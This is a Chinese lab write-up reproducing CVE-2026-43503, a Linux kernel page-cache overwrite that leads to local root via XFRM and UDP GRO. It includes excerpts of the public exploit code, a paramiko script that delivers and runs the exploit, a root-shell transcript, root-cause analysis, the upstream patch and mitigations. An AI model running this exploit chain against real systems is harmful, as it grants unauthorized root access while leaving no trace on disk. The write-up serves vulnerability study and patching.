CVE-2026-43503 属于 Linux 内核 DirtyFrag 漏洞家族,代号 DirtyClone。问题出在一个标志位的传播:把只读文件的页缓存挂进网络报文之后,碎片在克隆与合并过程中丢掉了 SKBFL_SHARED_FRAG,内核把可能被外部持有的页面当成了私有页面。IPsec 的解密路径在私有页面上会省掉一次拷贝,直接在原地解密,写入的落点就是页缓存。
因为写入只发生在内存里的页缓存副本,磁盘上的文件内容保持不变,sha256sum 与文件大小都不会报警,重启或丢弃页缓存即恢复。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响组件 | 漏洞类型 |
|---|---|---|---|
| CVE-2026-43503 | 8.8(v3.1,高危) | Linux 内核 net/skbuff、net/core/gro.c | 共享碎片标志丢失,页缓存被就地改写,可本地提权 |
补丁在 2026 年 5 月落地上游,6.17 分支已经停止维护,本文靶机的 6.17.10 构建于 2025 年 12 月,未包含修复。两处提交的内容、修复版本与触发条件放在漏洞核心原理与修复方案两节。
漏洞复现
环境
攻击机 192.168.31.152,靶机 192.168.31.148,靶机默认账号 kali/kali。攻击机装有 gcc、nmap 与 python3(paramiko)。
目标探测
┌──(kali㉿kali)-[~]└─$ nmap -sT -p- --min-rate 2000 --max-retries 1 -T4 192.168.31.148Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-11 21:01 -0500Nmap scan report for 192.168.31.148Host is up (0.00019s latency).Not shown: 65534 closed tcp ports (conn-refused)PORT STATE SERVICE22/tcp open sshMAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds登录后要确认三件事:内核版本、非特权用户命名空间是否开放、可用于改写的特权文件是否存在且可读。
└─$ ssh kali@192.168.31.148kali@kali:~$ uname -r; id6.17.10+kali-amd64uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),120(lpadmin),129(wireshark),130(kaboxer)kali@kali:~$ sysctl kernel.unprivileged_userns_clonekernel.unprivileged_userns_clone = 1kali@kali:~$ ls -l /usr/bin/su; sha256sum /usr/bin/su-rwsr-xr-x 1 root root 84432 2025年12月17日 /usr/bin/su7be2c420d24d17341810e71ac8dde826c8c7c07940eae36aecb97b39d9aa09e9 /usr/bin/suunprivileged_userns_clone=1 意味着普通用户可以自建 user namespace 与 net namespace,在其中取得 CAP_NET_ADMIN,从而配置 XFRM 安全联盟。su 是 setuid root 且全局可读,页缓存可以被挂进报文,执行时又会带着 root 身份装载,是理想的改写对象。
漏洞验证
利用程序取自公开 PoC 仓库,作者 Ashraf Zaryouh(0xBlackash),本文只做编译与运行。编译在攻击机完成:
┌──(kali㉿kali)-[~]└─$ gcc -O2 -o /tmp/dc /tmp/dc.c && file /tmp/dc/tmp/dc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=35027a6bf5415054e85764e3985a066491d2a3f1, for GNU/Linux 3.2.0, not stripped投放与执行的具体代码放在脚本讲解一节。在靶机上执行:
kali@kali:~$ /dev/shm/dc -v=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh "0xBlackash" ===[*] uid=1000 euid=1000[su] installed 48 xfrm SAs[su] wrote 192 bytes to /usr/bin/su[+] /usr/bin/su page-cache patched successfully![+] Success! Spawning root shell...# iduid=0(root) gid=0(root) groups=0(root)# whoamiroot# echo 3 > /proc/sys/vm/drop_caches# exit提示符从 kali@kali:~$ 变成 #,中间几行是 PoC 的进度输出,全过程 7.5 秒。退出前把页缓存丢掉,su 恢复原样。
页缓存证据
只看 uid 的输出不足以说明漏洞机制,还需要证明改的是页缓存而非磁盘。利用刚结束时,从页缓存读到的哈希已经变化,用 O_DIRECT 绕开页缓存读同一段偏移,拿到的仍是原始字节:
└─$ ssh kali@192.168.31.148 'sha256sum /usr/bin/su; xxd -s 0x70 -l 16 /usr/bin/su; dd if=/usr/bin/su bs=4096 count=1 iflag=direct 2>/dev/null | xxd -s 0x70 -l 16'067286824972f49e92fb6338a18bccf5d96d7f5b081abbcc2587d381cc3235cf /usr/bin/su00000070: 0010 0000 0000 0000 31ff 31f6 31c0 b06a ........1.1.1..j00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................第一条 xxd 读的是页缓存,0x78 起是 PoC 载荷的机器码 31 ff 31 f6 31 c0 b0 6a 0f 05,即 setuid(0) 的开头。第二条 xxd 读的是磁盘,同一偏移仍是 su 原本的程序头数据。sha256 由 7be2c420 变为 06728682,两种读取方式给出不同内容,这是内存改写、磁盘无损的直接证据。
恢复与残留
用改后的 su 拿到 root 后,用同一个 root shell 执行 echo 3 > /proc/sys/vm/drop_caches,把页缓存丢弃,再复核:
7be2c420d24d17341810e71ac8dde826c8c7c07940eae36aecb97b39d9aa09e9 /usr/bin/su密码: su: 身份验证失败哈希回到基线,su 恢复为正常的 setuid 程序,重新要求口令。靶机上留下的只有 /dev/shm/dc 与编译中间文件,脚本末尾已经删除,ls /dev/shm 只剩系统自带的 sem.haveged_sem。XFRM 安全联盟建在利用进程自己的 net namespace 内,进程退出即随命名空间消失,宿主网络栈里没有残留策略。
利用生效到页缓存被丢弃之间的这段时间里,su 对所有用户都是坏的,任何依赖 su 的脚本都会拿到 root shell 或直接失败。靶场里可以接受,生产环境验证时必须提前规划恢复窗口。
脚本讲解
利用流程分五段,下面按代码顺序说明。
第一段在靶机上取得 CAP_NET_ADMIN。普通用户没有这个能力,先 unshare 出 user 与 net 两个命名空间,再把自己的 uid、gid 映射成命名空间内的 0:
static void setup_userns_netns(void) /* 节选 */{ uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { ... } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { ... } /* 原代码此处拉起命名空间内的 lo,略 */ ...}命名空间建好后 lo 要手动拉起,否则回环报文走不通。这一步拿到的权限只在这个 namespace 内有效,宿主上看不到任何变化。
第二段准备解密器。对每个要写入的 4 字节,PoC 用 netlink 下发一个 ESP 安全联盟,传输模式、源与目的都是 127.0.0.1,SPI 取 0xDEADBE10 加偏移,加密算法 cbc(aes)、认证算法 hmac(sha256),封装模板是 UDP_ENCAP_ESPINUDP 加端口 4500。真正控制明文的是 ESN 的高 32 位:
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;esn->bmp_len = 1;esn->seq = REPLAY_SEQ;esn->seq_hi = patch_seqhi; /* 目标 4 字节 */esn->replay_window = 32;put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));192 字节的载荷因此对应 48 个安全联盟,每个联盟只负责 4 个字节。密钥由攻击者生成,解密结果也由攻击者决定,这是能在页缓存里写下任意内容的前提。
第三段把页缓存挂进报文。文件只读打开,先 splice 前 16 字节进管道,再 vmsplice 24 字节的 ESP 头,最后把整条 40 字节从管道 splice 到已连接的 UDP socket:
int pfd[2]; pipe(pfd);
uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; vmsplice(pfd[1], &iov_h, 1, 0); off_t off = offset; splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
usleep(150 * 1000);UDP 的零拷贝发送路径 ip_append_page 会把管道里的页直接挂成 skb 的 frag,并因为页归外部所有而设置 SKBFL_SHARED_FRAG。此时 frag 指向的就是 su 的页缓存页。150 毫秒的等待是让上一轮报文在接收侧处理完,48 轮累计约 7.2 秒,与实测 7.5 秒吻合。
第四段是标志丢失,发生在回环接收侧。UDP GRO 把数据报合并进累加 skb,skb_gro_receive 的两条碎片搬运路径只搬 frag 描述符,没有把 flags 里的 SKBFL_SHARED_FRAG 带过去;合并后的 GSO skb 再被 udp_rcv_segment 重分段,新段继续持有这些 frag 而 skb_has_shared_frag 返回 false。
第五段是就地解密与收尾。ESP 输入路径看到未克隆且未共享,跳过 skb_cow_data 直接解密,明文落在页缓存页上。48 轮写完后,前 192 字节已经变成一个 192 字节的 ELF,入口 0x78:
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("verify failed"); return 1; } printf("[+] /usr/bin/su page-cache patched successfully!\n"); /* 此处省略 main 里 exec 前的一段判断,最后是 */ execl("/usr/bin/su", "su", "-c", "/bin/sh", NULL);载荷依次做 setuid(0)、setgid(0)、setresuid(0,0,0),再 execve /bin/sh。因为 su 本身是 setuid root,内核在 exec 时已经把有效 uid 提到 0,载荷里的 setuid 只是把这个身份固化到真实与保存 uid 上。
投放与执行用一个 paramiko 脚本完成,二进制落在 /dev/shm 这种内存文件系统里,运行结束即删除:
import paramiko, timec = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())c.connect("192.168.31.148", username="kali", password="kali", timeout=10)def run(cmd, t=60): i, o, e = c.exec_command(cmd, timeout=t) return o.read().decode(errors="replace") + e.read().decode(errors="replace")c.open_sftp().put("/tmp/dc", "/dev/shm/dc"); run("chmod 700 /dev/shm/dc")ch = c.invoke_shell(width=100, height=30)time.sleep(1)buf = ""def drain(t=0.5): global buf end = time.time() + t while time.time() < end: if ch.recv_ready(): buf += ch.recv(65535).decode(errors="replace") else: time.sleep(0.1)ch.send("/dev/shm/dc -v\n"); drain(9.5)ch.send("id\n"); drain(1.0)ch.send("whoami\n"); drain(1.0)ch.send("echo 3 > /proc/sys/vm/drop_caches\n"); drain(1.0)ch.send("exit\n"); drain(1.0)print(buf)run("rm -f /dev/shm/dc")print("[复核]", run("sha256sum /usr/bin/su").strip())invoke_shell 申请的是一条带 pty 的会话,命令与回显走同一条通道,才能截到上面那种对话。drain 只是按时间等输出,最后把 drop_caches 送进 root shell,页缓存丢掉,su 复原。
漏洞核心原理
一个标志位的语义
SKB 的 frag 可以是内核自己分配的页,也可以是外部持有的页,例如用户通过 splice 挂进来的页缓存页。后者写入前必须先 unshare,否则就会改到别人的数据。SKBFL_SHARED_FRAG 用来区分这两种情况:只要 frag 里有外部页,这个位就必须置上,skb_has_shared_frag 才能让调用方知道这里不能原地写。
ip_append_page 在挂页时是守规矩的,会置位。问题出在后续搬动 frag 的辅助函数:skb_shift 直接搬描述符,__pskb_copy_fclone 把元数据交给 skb_copy_header,而后者只搬 gso_size、gso_segs、gso_type,从不碰 skb_shinfo 的 flags。skb_gro_receive 与 skb_gro_receive_list 同样是整段搬 frags 数组,标志留在源 skb 上。
上游修复就是把这一行补上:
@@ -145,6 +145,8 @@ int skb_gro_receive(struct sk_buff *p, struct sk_buff *skb) skb_frag_off_add(frag, offset); skb_frag_size_sub(frag, offset);
+ pinfo->flags |= skbinfo->flags & SKBFL_SHARED_FRAG;+ /* all fragments truesize : remove (head size + sk_buff) */修复前后的差别只有一个按位或,安全语义却从可能共享变成了确定共享。上游分两处落地:net: skbuff: propagate shared-frag marker through frag-transfer helpers 修正了 skbuff.c 里的 __pskb_copy_fclone 与 skb_shift,skb_try_coalesce 同期一并修好;随后 net: gro: propagate SKBFL_SHARED_FRAG in skb_gro_receive 补上 gro.c 的两条路径,邮件里注明它是前一处修复遗漏的同类问题,后者正是本文利用所走的路径。
为什么写入落在页缓存
页缓存是文件内容在内存里的唯一副本,所有读取都经过它。进程把文件页挂进 skb 时,挂的是这个页的引用,不是副本;内核随后对 frag 的写入,写的就是页缓存页。真正写磁盘要经过回写,而回写只在页被标记为脏、且由文件系统接管时才发生。漏洞路径里的写入绕过了 VFS 与文件系统的记账,页没有被标脏,也就不存在回写。
结果是一份内存与磁盘不一致的文件:磁盘上原样,内存里被换掉,此后每次 exec 都装载被换过的内存副本。丢弃页缓存或重启,内存副本重新从磁盘装载,一切复原。
前提条件
触发需要同时满足:
- 内核未打两处补丁,6.17 及更早的分支,或未跟进修复的发行版内核;
- 允许非特权用户创建 user namespace,从而在命名空间内取得 CAP_NET_ADMIN;
- 目标文件对攻击者可读,只读权限就够,写入由内核代劳;
- ESP over UDP 的 GRO 与重分段路径可用,CONFIG_XFRM、CONFIG_INET_ESP 与相应算法齐全。
反过来,kernel.unprivileged_userns_clone=0,或者已升级到修复版本的内核,都会让利用链在第一步或第四步断掉。
修复方案
首选升级内核到含 skb_gro_receive 修复的版本,对应 6.18.33、7.0.10 及各自稳定分支的修复版本,升级后必须重启才能让新内核生效。稳定分支的修复版本为 5.10.257、5.15.208、6.1.174、6.6.141、6.12.91、6.18.33、7.0.10。6.17 分支已停止维护,停留在该分支的机器需要跨分支升级。
暂时无法升级时,可以按风险取舍以下缓解手段:
- 关闭非特权用户命名空间,把 CAP_NET_ADMIN 的获取门槛抬回 root;
- 收紧 setuid 程序的暴露面,减少页缓存改写后可立即换取的提权收益;
- 对内核完整性做运行时校验,关注 setuid 程序页缓存的异常变化,这类改写不落盘、不进文件系统审计,常规的文件完整性检查抓不到。
缓解手段只是抬高门槛,页缓存写原语本身仍然存在。
参考链接
- NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-43503
- 上游修复提交(skbuff):https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d8cfbcdd07557
- 上游修复提交(gro):https://lists.openwall.net/netdev/2026/05/14/77/2
- 公开 PoC:https://github.com/0xBlackash/CVE-2026-43503
- 漏洞库条目:https://cve.imfht.com/detail/CVE-2026-43503